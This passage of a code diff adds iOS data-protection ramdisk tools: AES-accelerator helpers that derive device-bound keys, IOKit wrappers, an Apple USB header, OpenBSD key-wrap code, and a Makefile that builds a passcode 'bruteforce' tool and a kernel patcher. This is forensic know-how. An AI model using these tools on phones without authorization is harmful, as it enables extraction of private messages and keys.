||||
|
||||
uint8_t* IOAES_key89B()
|
||||
{
|
||||
return IOAES_get_device_key(0x89B);
|
||||
}
|
||||
|
||||
uint8_t* IOAES_key89A()
|
||||
{
|
||||
return IOAES_get_device_key(0x89A);
|
||||
}
|
||||
@@ -0,0 +1,36 @@
|
||||
#define kIOAESAcceleratorInfo 0
|
||||
#define kIOAESAcceleratorTask 1
|
||||
#define kIOAESAcceleratorTest 2
|
||||
|
||||
#define kIOAESAcceleratorEncrypt 0
|
||||
#define kIOAESAcceleratorDecrypt 1
|
||||
|
||||
#define kIOAESAcceleratorGIDMask 0x3E8
|
||||
#define kIOAESAcceleratorUIDMask 0x7D0
|
||||
#define kIOAESAcceleratorCustomMask 0
|
||||
|
||||
typedef struct
|
||||
{
|
||||
void* inbuf;
|
||||
void* outbuf;
|
||||
uint32_t size;
|
||||
uint8_t iv[16];
|
||||
uint32_t mode;
|
||||
uint32_t bits;
|
||||
uint8_t keybuf[32];
|
||||
uint32_t mask;
|
||||
uint32_t zero; //ios 4.2.1
|
||||
} IOAESStruct;
|
||||
|
||||
#define IOAESStruct_size41 (sizeof(IOAESStruct))
|
||||
#define IOAESStruct_sizeold (sizeof(IOAESStruct) - 4)
|
||||
|
||||
void aes_init();
|
||||
io_connect_t IOAESAccelerator_getIOconnect();
|
||||
int doAES(void* inbuf, void *outbuf, uint32_t size, uint32_t keyMask, void* key, void* iv, int mode, int bits);
|
||||
int AES_UID_Encrypt(void* input, void* output, size_t len);
|
||||
|
||||
uint8_t* IOAES_key835();
|
||||
uint8_t* IOAES_key89A();
|
||||
uint8_t* IOAES_key89B();
|
||||
|
||||
90
dump-imessages/iphone-dataprotection/ramdisk_tools/IOKit.c
Normal file
90
dump-imessages/iphone-dataprotection/ramdisk_tools/IOKit.c
Normal file
@@ -0,0 +1,90 @@
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include "IOKit.h"
|
||||
|
||||
struct ioconnectCache {
|
||||
const char* serviceName;
|
||||
io_connect_t conn;
|
||||
};
|
||||
|
||||
struct ioconnectCache cache[10]={{NULL, 0}};
|
||||
|
||||
void __attribute__((destructor)) IOKit_destruct()
|
||||
{
|
||||
int i;
|
||||
for (i=0; i < 10 && cache[i].conn != 0; i++) {
|
||||
//printf("Closing %s\n", cache[i].serviceName);
|
||||
IOServiceClose(cache[i].conn);
|
||||
}
|
||||
}
|
||||
|
||||
io_connect_t IOKit_getConnect(const char* serviceName)
|
||||
{
|
||||
IOReturn ret;
|
||||
io_connect_t conn = 0;
|
||||
int i;
|
||||
|
||||
for (i=0; i < 10 && cache[i].serviceName != NULL; i++) {
|
||||
if (!strcmp(serviceName, cache[i].serviceName))
|
||||
{
|
||||
//printf("got cache for %s\n", serviceName);
|
||||
return cache[i].conn;
|
||||
}
|
||||
}
|
||||
|
||||
CFMutableDictionaryRef dict = IOServiceMatching(serviceName);
|
||||
io_service_t dev = IOServiceGetMatchingService(kIOMasterPortDefault, dict);
|
||||
|
||||
if(!dev) {
|
||||
fprintf(stderr, "FAIL: Could not get %s service\n", serviceName);
|
||||
return -1;
|
||||
}
|
||||
|
||||
ret = IOServiceOpen(dev, mach_task_self(), 0, &conn);
|
||||
|
||||
IOObjectRelease(dev);
|
||||
if(ret != kIOReturnSuccess) {
|
||||
fprintf(stderr, "FAIL: Cannot open service %s\n", serviceName);
|
||||
return -1;
|
||||
}
|
||||
|
||||
if (i < 10) {
|
||||
cache[i].serviceName = serviceName;
|
||||
cache[i].conn = conn;
|
||||
}
|
||||
|
||||
return conn;
|
||||
}
|
||||
|
||||
IOReturn IOKit_call(const char* serviceName,
|
||||
uint32_t selector,
|
||||
const uint64_t *input,
|
||||
uint32_t inputCnt,
|
||||
const void *inputStruct,
|
||||
size_t inputStructCnt,
|
||||
uint64_t *output,
|
||||
uint32_t *outputCnt,
|
||||
void *outputStruct,
|
||||
size_t *outputStructCnt)
|
||||
{
|
||||
IOReturn ret;
|
||||
io_connect_t conn = IOKit_getConnect(serviceName);
|
||||
|
||||
ret = IOConnectCallMethod(conn,
|
||||
selector,
|
||||
input,
|
||||
inputCnt,
|
||||
inputStruct,
|
||||
inputStructCnt,
|
||||
output,
|
||||
outputCnt,
|
||||
outputStruct,
|
||||
outputStructCnt);
|
||||
|
||||
if (ret != kIOReturnSuccess)
|
||||
{
|
||||
fprintf(stderr, "IOConnectCallMethod on %s selector %d returned %x\n", serviceName, selector, ret);
|
||||
}
|
||||
|
||||
return ret;
|
||||
}
|
||||
14
dump-imessages/iphone-dataprotection/ramdisk_tools/IOKit.h
Normal file
14
dump-imessages/iphone-dataprotection/ramdisk_tools/IOKit.h
Normal file
@@ -0,0 +1,14 @@
|
||||
#include <IOKit/IOKitLib.h>
|
||||
|
||||
io_connect_t IOKit_getConnect(const char* serviceName);
|
||||
|
||||
IOReturn IOKit_call(const char* serviceName,
|
||||
uint32_t selector,
|
||||
const uint64_t *input,
|
||||
uint32_t inputCnt,
|
||||
const void *inputStruct,
|
||||
size_t inputStructCnt,
|
||||
uint64_t *output,
|
||||
uint32_t *outputCnt,
|
||||
void *outputStruct,
|
||||
size_t *outputStructCnt);
|
||||
@@ -0,0 +1,270 @@
|
||||
/*
|
||||
* Copyright (c) 2008 Apple Inc. All rights reserved.
|
||||
*
|
||||
* @APPLE_LICENSE_HEADER_START@
|
||||
*
|
||||
* This file contains Original Code and/or Modifications of Original Code
|
||||
* as defined in and that are subject to the Apple Public Source License
|
||||
* Version 2.0 (the 'License'). You may not use this file except in
|
||||
* compliance with the License. Please obtain a copy of the License at
|
||||
* http://www.opensource.apple.com/apsl/ and read it before using this
|
||||
* file.
|
||||
*
|
||||
* The Original Code and all software distributed under the License are
|
||||
* distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER
|
||||
* EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES,
|
||||
* INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT.
|
||||
* Please see the License for the specific language governing rights and
|
||||
* limitations under the License.
|
||||
*
|
||||
* @APPLE_LICENSE_HEADER_END@
|
||||
*/
|
||||
/*
|
||||
* IOUSBDeviceControllerLib.h
|
||||
* IOUSBDeviceFamily
|
||||
*
|
||||
* Created by Paul Chinn on 11/6/07.
|
||||
* Copyright 2007 Apple Inc. All rights reserved.
|
||||
*
|
||||
*/
|
||||
|
||||
#ifndef _IOKIT_IOUSBDEVICECONTROLLERLIB_H_
|
||||
#define _IOKIT_IOUSBDEVICECONTROLLERLIB_H_
|
||||
|
||||
#include <IOKit/IOTypes.h>
|
||||
#include <IOKit/IOReturn.h>
|
||||
#include <CoreFoundation/CoreFoundation.h>
|
||||
|
||||
/*!
|
||||
@header IOUSBDeviceControllerLib
|
||||
IOUSBDeviceControllerLib provides some API to access devicce-mode-usb controllers.
|
||||
*/
|
||||
|
||||
__BEGIN_DECLS
|
||||
|
||||
|
||||
/*! @typedef IOUSBDeviceControllerRef
|
||||
@abstract This is the type of a reference to the IOUSBDeviceController.
|
||||
*/
|
||||
typedef struct __IOUSBDeviceController* IOUSBDeviceControllerRef;
|
||||
|
||||
/*! @typedef IOUSBDeviceDescriptionRef
|
||||
@abstract Object that describes the device, configurations and interfaces of a IOUSBDeviceController.
|
||||
*/
|
||||
typedef struct __IOUSBDeviceDescription* IOUSBDeviceDescriptionRef;
|
||||
|
||||
/*! @typedef IOUSBDeviceArrivalCallback
|
||||
@abstract Function callback for notification of asynchronous arrival of an IOUSBDeviceController .
|
||||
*/
|
||||
typedef void (*IOUSBDeviceArrivalCallback) (
|
||||
void * context,
|
||||
IOUSBDeviceControllerRef device);
|
||||
/*!
|
||||
@function IOUSBDeviceControllerGetTypeID
|
||||
@abstract Returns the type identifier of all IOUSBDeviceController instances.
|
||||
*/
|
||||
CF_EXPORT
|
||||
CFTypeID IOUSBDeviceControllerGetTypeID(void)
|
||||
AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER;
|
||||
|
||||
/*!
|
||||
@function IOUSBDeviceDescriptionGetTypeID
|
||||
@abstract Returns the type identifier of all IOUSBDeviceDescription instances.
|
||||
*/
|
||||
CF_EXPORT
|
||||
CFTypeID IOUSBDeviceDescriptionGetTypeID(void)
|
||||
AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER;
|
||||
|
||||
/*!
|
||||
@function IOUSBDeviceControllerCreate
|
||||
@abstract Creates an IOUSBDeviceController object.
|
||||
@discussion Creates a CF object that provides access to the kernel's IOUSBDeviceController IOKit object.
|
||||
@param allocator Allocator to be used during creation.
|
||||
@param deviceRef The newly created object. Only valid if the call succeeds.
|
||||
@result The status of the call. The call will fail if no IOUSBDeviceController exists in the kernel.
|
||||
*/
|
||||
CF_EXPORT
|
||||
IOReturn IOUSBDeviceControllerCreate(
|
||||
CFAllocatorRef allocator,
|
||||
IOUSBDeviceControllerRef* deviceRef
|
||||
)
|
||||
AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER;
|
||||
|
||||
/*!
|
||||
@function IOUSBDeviceControllerGoOffAndOnBus
|
||||
@abstract Cause the controller to drop off bus and return.
|
||||
@discussion The controller will drop off USB appearing to the host as if it has been unlugged. After the given msecDelay
|
||||
has elapsed, it will come back on bus.
|
||||
@param deviceRef The controller object
|
||||
@param msecDelay The time in milliseconds to stay off-bus.
|
||||
@result The status of the call.
|
||||
*/
|
||||
CF_EXPORT
|
||||
IOReturn IOUSBDeviceControllerGoOffAndOnBus(IOUSBDeviceControllerRef device, uint32_t msecDelay)
|
||||
AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER;
|
||||
|
||||
/*!
|
||||
@function IOUSBDeviceControllerForceOffBus
|
||||
@abstract Cause the controller to stay off.
|
||||
@discussion The controller will drop off USB appearing to the host as if it has been unlugged.
|
||||
@param deviceRef The controller object
|
||||
@param enable If true the controller is dropped off the bus and kept off. When false the controller will no longer be forced off.
|
||||
@result The status of the call.
|
||||
*/
|
||||
CF_EXPORT
|
||||
IOReturn IOUSBDeviceControllerForceOffBus(IOUSBDeviceControllerRef device, int enable)
|
||||
AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER;
|
||||
|
||||
/*! @function IOUSBDeviceControllerRegisterArrivalCallback
|
||||
@abstract Schedules async controller arrival with a run loop
|
||||
@discussion Establishs a callback to be invoked when an IOUSBDeviceController becomes available in-kernel.
|
||||
@param callback The function invoked when the controller arrives. It receives a IOUSBDeviceControllerRef annd the caller-provided context.
|
||||
@param context A caller-specified pointer that is provided when the callback is invoked.
|
||||
@param runLoop RunLoop to be used when scheduling any asynchronous activity.
|
||||
@param runLoopMode Run loop mode to be used when scheduling any asynchronous activity.
|
||||
*/
|
||||
CF_EXPORT
|
||||
IOReturn IOUSBDeviceControllerRegisterArrivalCallback(IOUSBDeviceArrivalCallback callback, void *context, CFRunLoopRef runLoop, CFStringRef runLoopMode)
|
||||
AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER;
|
||||
|
||||
CF_EXPORT
|
||||
void IOUSBDeviceControllerRemoveArrivalCallback()
|
||||
AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER;
|
||||
|
||||
/*! @function IOUSBDeviceControllerSetDescription
|
||||
@abstract Provide the information required to configure the IOUSBDeviceController in kernel
|
||||
@param device The controller instance to receive the description
|
||||
@param description The description to use.
|
||||
*/
|
||||
CF_EXPORT
|
||||
IOReturn IOUSBDeviceControllerSetDescription(IOUSBDeviceControllerRef device, IOUSBDeviceDescriptionRef description)
|
||||
AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER;
|
||||
|
||||
/*! @function IOUSBDeviceControllerSendCommand
|
||||
@abstract Issue a command to the in-kernel usb-device stack
|
||||
@discussion This sends a command string and optional parameter object into the kernel. Commands are passed to the controller-driver, the
|
||||
"device", then to the individual interface drivers, until one of those handles it.
|
||||
@param device The controller instance to receive the command
|
||||
@param command A string command. Valid commands are determined by the various in-kernel drivers comprising the usb-device stack
|
||||
@param param An optional, arbitrary object that is appropriate for the given command
|
||||
*/
|
||||
CF_EXPORT
|
||||
IOReturn IOUSBDeviceControllerSendCommand(IOUSBDeviceControllerRef device, CFStringRef command, CFTypeRef param)
|
||||
AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER;
|
||||
|
||||
/*! @function IOUSBDeviceControllerSetPreferredConfiguration
|
||||
@abstract Sets the preferred configuration number to gain desired functionality on the host
|
||||
@param device The controller instance to receive the description
|
||||
@param config Preferred configuration number that will be sent to the host.
|
||||
*/
|
||||
CF_EXPORT
|
||||
IOReturn IOUSBDeviceControllerSetPreferredConfiguration(IOUSBDeviceControllerRef device, int config)
|
||||
AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER;
|
||||
|
||||
|
||||
CF_EXPORT
|
||||
IOUSBDeviceDescriptionRef IOUSBDeviceDescriptionCreate(CFAllocatorRef allocator)
|
||||
AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER;
|
||||
|
||||
/*! @function IOUSBDeviceDescriptionCreateFromController
|
||||
@abstract Retrieve the current description from the IOUSBDeviceController
|
||||
@discussion This retrieves the currently set description from the kernel's IOUSBDeviceController. It represents the full description of the device as
|
||||
it is currently presented on the USB. The call can fail if the controller exists but has not et received a description.
|
||||
@param allocator The CF allocator to use when creating the description
|
||||
@param device The controller instance from which to receive the description
|
||||
*/
|
||||
CF_EXPORT
|
||||
IOUSBDeviceDescriptionRef IOUSBDeviceDescriptionCreateFromController(CFAllocatorRef allocator, IOUSBDeviceControllerRef)
|
||||
AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER;
|
||||
|
||||
/*! @function IOUSBDeviceDescriptionCreateFromDefaults
|
||||
@abstract Create a descripion based on the hardwares default usb description.
|
||||
@discussion This retrieves the default description for the device. It describes the main usb functionality provided by the device and is what is used for
|
||||
a normal system. Currently the description is retrieved from a plist on disk and is keyed to a sysctl that describes the hardware.
|
||||
@param allocator The CF allocator to use when creating the description
|
||||
*/
|
||||
CF_EXPORT
|
||||
IOUSBDeviceDescriptionRef IOUSBDeviceDescriptionCreateFromDefaults(CFAllocatorRef allocator)
|
||||
AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER;
|
||||
|
||||
CF_EXPORT
|
||||
IOUSBDeviceDescriptionRef IOUSBDeviceDescriptionCreate(CFAllocatorRef allocator)
|
||||
AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER;
|
||||
|
||||
CF_EXPORT
|
||||
uint8_t IOUSBDeviceDescriptionGetClass(IOUSBDeviceDescriptionRef ref)
|
||||
AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER;
|
||||
|
||||
CF_EXPORT
|
||||
void IOUSBDeviceDescriptionSetClass(IOUSBDeviceDescriptionRef ref, UInt8 bClass)
|
||||
AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER;
|
||||
|
||||
CF_EXPORT
|
||||
uint8_t IOUSBDeviceDescriptionGetSubClass(IOUSBDeviceDescriptionRef ref)
|
||||
AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER;
|
||||
|
||||
CF_EXPORT
|
||||
uint8_t IOUSBDeviceDescriptionGetProtocol(IOUSBDeviceDescriptionRef ref)
|
||||
AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER;
|
||||
|
||||
CF_EXPORT
|
||||
uint16_t IOUSBDeviceDescriptionGetVendorID(IOUSBDeviceDescriptionRef ref)
|
||||
AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER;
|
||||
|
||||
CF_EXPORT
|
||||
void IOUSBDeviceDescriptionSetVendorID(IOUSBDeviceDescriptionRef devDesc, UInt16 vendorID)
|
||||
AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER;
|
||||
|
||||
CF_EXPORT
|
||||
uint16_t IOUSBDeviceDescriptionGetProductID(IOUSBDeviceDescriptionRef ref)
|
||||
AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER;
|
||||
|
||||
CF_EXPORT
|
||||
void IOUSBDeviceDescriptionSetProductID(IOUSBDeviceDescriptionRef devDesc, UInt16 productID)
|
||||
AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER;
|
||||
|
||||
CF_EXPORT
|
||||
uint16_t IOUSBDeviceDescriptionGetVersion(IOUSBDeviceDescriptionRef ref)
|
||||
AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER;
|
||||
|
||||
CF_EXPORT
|
||||
CFStringRef IOUSBDeviceDescriptionGetManufacturerString(IOUSBDeviceDescriptionRef ref)
|
||||
AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER;
|
||||
|
||||
CF_EXPORT
|
||||
CFStringRef IOUSBDeviceDescriptionGetProductString(IOUSBDeviceDescriptionRef ref)
|
||||
AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER;
|
||||
|
||||
CF_EXPORT
|
||||
CFStringRef IOUSBDeviceDescriptionGetSerialString(IOUSBDeviceDescriptionRef ref)
|
||||
AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER;
|
||||
|
||||
CF_EXPORT
|
||||
void IOUSBDeviceDescriptionSetSerialString(IOUSBDeviceDescriptionRef ref, CFStringRef serial)
|
||||
AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER;
|
||||
|
||||
CF_EXPORT
|
||||
int IOUSBDeviceDescriptionAppendInterfaceToConfiguration(IOUSBDeviceDescriptionRef devDesc, int config, CFStringRef name);
|
||||
AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER;
|
||||
|
||||
CF_EXPORT
|
||||
int IOUSBDeviceDescriptionAppendConfiguration(IOUSBDeviceDescriptionRef devDesc, CFStringRef textDescription, UInt8 attributes, UInt8 maxPower);
|
||||
AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER;
|
||||
|
||||
CF_EXPORT
|
||||
void IOUSBDeviceDescriptionRemoveAllConfigurations(IOUSBDeviceDescriptionRef devDesc)
|
||||
AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER;
|
||||
|
||||
CF_EXPORT
|
||||
io_service_t IOUSBDeviceControllerGetService(IOUSBDeviceControllerRef controller);
|
||||
AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER;
|
||||
|
||||
CF_EXPORT
|
||||
int IOUSBDeviceDescriptionGetMatchingConfiguration(IOUSBDeviceDescriptionRef devDesc, CFArrayRef interfaceNames);
|
||||
AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER;
|
||||
|
||||
|
||||
__END_DECLS
|
||||
|
||||
#endif
|
||||
51
dump-imessages/iphone-dataprotection/ramdisk_tools/Makefile
Normal file
51
dump-imessages/iphone-dataprotection/ramdisk_tools/Makefile
Normal file
@@ -0,0 +1,51 @@
|
||||
SDKVER?=5.1
|
||||
ARCH?=armv7
|
||||
MINIOS=4.0
|
||||
SDK=/Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS$(SDKVER).sdk/
|
||||
HGVERSION:= $(shell hg parents --template '{node|short}' || echo "unknown")
|
||||
CC=clang -arch $(ARCH)
|
||||
CFLAGS=-Wall -isysroot $(SDK) -DHGVERSION="\"${HGVERSION}\"" -O3 -I.
|
||||
CFLAGS+= -framework CoreFoundation -framework IOKit -framework Security
|
||||
CFLAGS+= -miphoneos-version-min=$(MINIOS)
|
||||
CODESIGN=codesign -s - --entitlements
|
||||
|
||||
all: $(SDK) IOKit IOUSBDeviceControllerLib.h device_infos restored_external bruteforce ioflashstoragekit
|
||||
|
||||
$(SDK):
|
||||
@echo "iOS SDK not found in $(SDK)"
|
||||
@echo "=> check SDKVER/SDK in Makefile"
|
||||
|
||||
IOUSBDeviceControllerLib.h:
|
||||
curl -o IOUSBDeviceControllerLib.h http://www.opensource.apple.com/source/IOKitUser/IOKitUser-502/usb_device.subproj/IOUSBDeviceControllerLib.h?txt
|
||||
|
||||
IOKit:
|
||||
ln -s /System/Library/Frameworks/IOKit.framework/Versions/Current/Headers IOKit
|
||||
|
||||
device_infos: device_infos.c device_info.c IOAESAccelerator.c AppleEffaceableStorage.c AppleKeyStore.c bsdcrypto/pbkdf2.c bsdcrypto/sha1.c bsdcrypto/key_wrap.c bsdcrypto/rijndael.c util.c IOKit.c registry.c ioflash/ioflash.c kernel_patcher.c
|
||||
$(CC) $(CFLAGS) -o $@ $^
|
||||
$(CODESIGN) tfp0.plist $@
|
||||
|
||||
restored_external: restored_external.c device_info.c remote_functions.c plist_server.c AppleKeyStore.c AppleEffaceableStorage.c IOKit.c IOAESAccelerator.c util.c registry.c AppleKeyStore_kdf.c bsdcrypto/pbkdf2.c bsdcrypto/sha1.c bsdcrypto/rijndael.c bsdcrypto/key_wrap.c ioflash/ioflash.c kernel_patcher.c
|
||||
$(CC) $(CFLAGS) -o $@ $^
|
||||
$(CODESIGN) keystore_device.xml $@
|
||||
|
||||
bruteforce: systemkb_bruteforce.c AppleKeyStore.c AppleEffaceableStorage.c IOKit.c IOAESAccelerator.c util.c registry.c AppleKeyStore_kdf.c bsdcrypto/pbkdf2.c bsdcrypto/sha1.c bsdcrypto/rijndael.c bsdcrypto/key_wrap.c device_info.c ioflash/ioflash.c kernel_patcher.c
|
||||
$(CC) $(CFLAGS) -o $@ $^
|
||||
$(CODESIGN) keystore_device.xml $@
|
||||
|
||||
ioflashstoragekit: ioflash/ioflash.c ioflash/ioflash_kernel.c ioflash/ioflashstoragekit.c util.c
|
||||
$(CC) $(CFLAGS) -o $@ $^
|
||||
$(CODESIGN) tfp0.plist $@
|
||||
|
||||
kernel_patcher: kernel_patcher.c
|
||||
$(CC) $(CFLAGS) -o $@ $^
|
||||
$(CODESIGN) tfp0.plist $@
|
||||
|
||||
shsh_dump: ioflash/ioflash.c ioflash/ioflash_kernel.c shsh_dump.c util.c
|
||||
$(CC) $(CFLAGS) -o $@ $^
|
||||
$(CODESIGN) tfp0.plist $@
|
||||
|
||||
clean:
|
||||
rm -f bruteforce restored_external device_infos ioflashstoragekit shsh_dump
|
||||
|
||||
rebuild: clean all
|
||||
@@ -0,0 +1,119 @@
|
||||
/* $OpenBSD: key_wrap.c,v 1.3 2011/01/11 15:42:05 deraadt Exp $ */
|
||||
|
||||
/*-
|
||||
* Copyright (c) 2008 Damien Bergamini <damien.bergamini@free.fr>
|
||||
*
|
||||
* Permission to use, copy, modify, and distribute this software for any
|
||||
* purpose with or without fee is hereby granted, provided that the above
|
||||
* copyright notice and this permission notice appear in all copies.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
|
||||
* WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
|
||||
* MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
|
||||
* ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
|
||||
* WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
|
||||
* ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
|
||||
* OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
|
||||
*/
|
||||
|
||||
/*
|
||||
* This code implements the AES Key Wrap algorithm described in RFC 3394.
|
||||
*/
|
||||
|
||||
#include <sys/param.h>
|
||||
#include <string.h>
|
||||
|
||||
//haxs to compile on osx
|
||||
#include <CoreFoundation/CoreFoundation.h>
|
||||
#define timingsafe_bcmp bcmp
|
||||
#define ovbcopy bcopy
|
||||
#define explicit_bzero bzero
|
||||
#define htobe64 CFSwapInt64BigToHost
|
||||
#include "rijndael.h"
|
||||
#include "key_wrap.h"
|
||||
|
||||
|
||||
static const u_int8_t IV[8] =
|
||||
{ 0xa6, 0xa6, 0xa6, 0xa6, 0xa6, 0xa6, 0xa6, 0xa6 };
|
||||
|
||||
void
|
||||
aes_key_wrap_set_key(aes_key_wrap_ctx *ctx, const u_int8_t *K, size_t K_len)
|
||||
{
|
||||
rijndael_set_key(&ctx->ctx, K, K_len * NBBY);
|
||||
}
|
||||
|
||||
void
|
||||
aes_key_wrap_set_key_wrap_only(aes_key_wrap_ctx *ctx, const u_int8_t *K,
|
||||
size_t K_len)
|
||||
{
|
||||
rijndael_set_key_enc_only(&ctx->ctx, K, K_len * NBBY);
|
||||
}
|
||||
|
||||
void
|
||||
aes_key_wrap(aes_key_wrap_ctx *ctx, const u_int8_t *P, size_t n, u_int8_t *C)
|
||||
{
|
||||
u_int64_t B[2], t;
|
||||
u_int8_t *A, *R;
|
||||
size_t i;
|
||||
int j;
|
||||
|
||||
ovbcopy(P, C + 8, n * 8); /* P and C may overlap */
|
||||
A = C; /* A points to C[0] */
|
||||
memcpy(A, IV, 8); /* A = IV, an initial value */
|
||||
|
||||
for (j = 0, t = 1; j <= 5; j++) {
|
||||
R = C + 8;
|
||||
for (i = 1; i <= n; i++, t++) {
|
||||
/* B = A | R[i] */
|
||||
memcpy(&B[0], A, 8);
|
||||
memcpy(&B[1], R, 8);
|
||||
/* B = AES(K, B) */
|
||||
rijndael_encrypt(&ctx->ctx, (caddr_t)B, (caddr_t)B);
|
||||
/* MSB(64, B) = MSB(64, B) ^ t */
|
||||
B[0] ^= htobe64(t);
|
||||
/* A = MSB(64, B) */
|
||||
memcpy(A, &B[0], 8);
|
||||
/* R[i] = LSB(64, B) */
|
||||
memcpy(R, &B[1], 8);
|
||||
|
||||
R += 8;
|
||||
}
|
||||
}
|
||||
explicit_bzero(B, sizeof B);
|
||||
}
|
||||
|
||||
int
|
||||
aes_key_unwrap(aes_key_wrap_ctx *ctx, const u_int8_t *C, u_int8_t *P, size_t n)
|
||||
{
|
||||
u_int64_t B[2], t;
|
||||
u_int8_t A[8], *R;
|
||||
size_t i;
|
||||
int j;
|
||||
|
||||
memcpy(A, C, 8); /* A = C[0] */
|
||||
ovbcopy(C + 8, P, n * 8); /* P and C may overlap */
|
||||
|
||||
for (j = 5, t = 6 * n; j >= 0; j--) {
|
||||
R = P + (n - 1) * 8;
|
||||
for (i = n; i >= 1; i--, t--) {
|
||||
/* MSB(64, B) = A */
|
||||
memcpy(&B[0], A, 8);
|
||||
/* MSB(64, B) = MSB(64, B) ^ t */
|
||||
B[0] ^= htobe64(t);
|
||||
/* B = MSB(64, B) | R[i] */
|
||||
memcpy(&B[1], R, 8);
|
||||
/* B = AES-1(K, B) */
|
||||
rijndael_decrypt(&ctx->ctx, (caddr_t)B, (caddr_t)B);
|
||||
/* A = MSB(64, B) */
|
||||
memcpy(A, &B[0], 8);
|
||||
/* R[i] = LSB(64, B) */
|
||||
memcpy(R, &B[1], 8);
|
||||
|
||||
R -= 8;
|
||||
}
|
||||
}
|
||||
explicit_bzero(B, sizeof B);
|
||||
|
||||
/* check that A is an appropriate initial value */
|
||||
return timingsafe_bcmp(A, IV, 8) != 0;
|
||||
}
|
||||
@@ -0,0 +1,40 @@
|
||||
/* $OpenBSD: key_wrap.h,v 1.1 2008/08/12 15:43:00 damien Exp $ */
|
||||
|
||||
/*-
|
||||
* Copyright (c) 2008 Damien Bergamini <damien.bergamini@free.fr>
|
||||
*
|
||||
* Permission to use, copy, modify, and distribute this software for any
|
||||
* purpose with or without fee is hereby granted, provided that the above
|
||||
* copyright notice and this permission notice appear in all copies.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
|
||||
* WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
|
||||
* MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
|
||||
* ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
|
||||
* WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
|
||||
* ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
|
||||
* OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
|
||||
*/
|
||||
|
||||
#ifndef _KEY_WRAP_H_
|
||||
#define _KEY_WRAP_H_
|
||||
|
||||
typedef unsigned char u_int8_t;
|
||||
|
||||
typedef struct _aes_key_wrap_ctx {
|
||||
rijndael_ctx ctx;
|
||||
} aes_key_wrap_ctx;
|
||||
|
||||
#include <sys/cdefs.h>
|
||||
|
||||
__BEGIN_DECLS
|
||||
|
||||
void aes_key_wrap_set_key(aes_key_wrap_ctx *, const u_int8_t *, size_t);
|
||||
void aes_key_wrap_set_key_wrap_only(aes_key_wrap_ctx *, const u_int8_t *,
|
||||
size_t);
|
||||
void aes_key_wrap(aes_key_wrap_ctx *, const u_int8_t *, size_t, u_int8_t *);
|
||||
int aes_key_unwrap(aes_key_wrap_ctx *, const u_int8_t *, u_int8_t *,
|
||||
size_t);
|
||||
__END_DECLS
|
||||
|
||||
#endif /* _KEY_WRAP_H_ */
|
||||
@@ -0,0 +1,253 @@
|
||||
/* $OpenBSD: pbkdf2.c,v 1.1 2008/06/14 06:28:27 djm Exp $ */
|
||||
|
||||
/*-
|
||||
* Copyright (c) 2008 Damien Bergamini <damien.bergamini@free.fr>
|
||||
*
|
||||
* Permission to use, copy, modify, and distribute this software for any
|
||||
* purpose with or without fee is hereby granted, provided that the above
|
||||
* copyright notice and this permission notice appear in all copies.
|
||||
*
|
||||
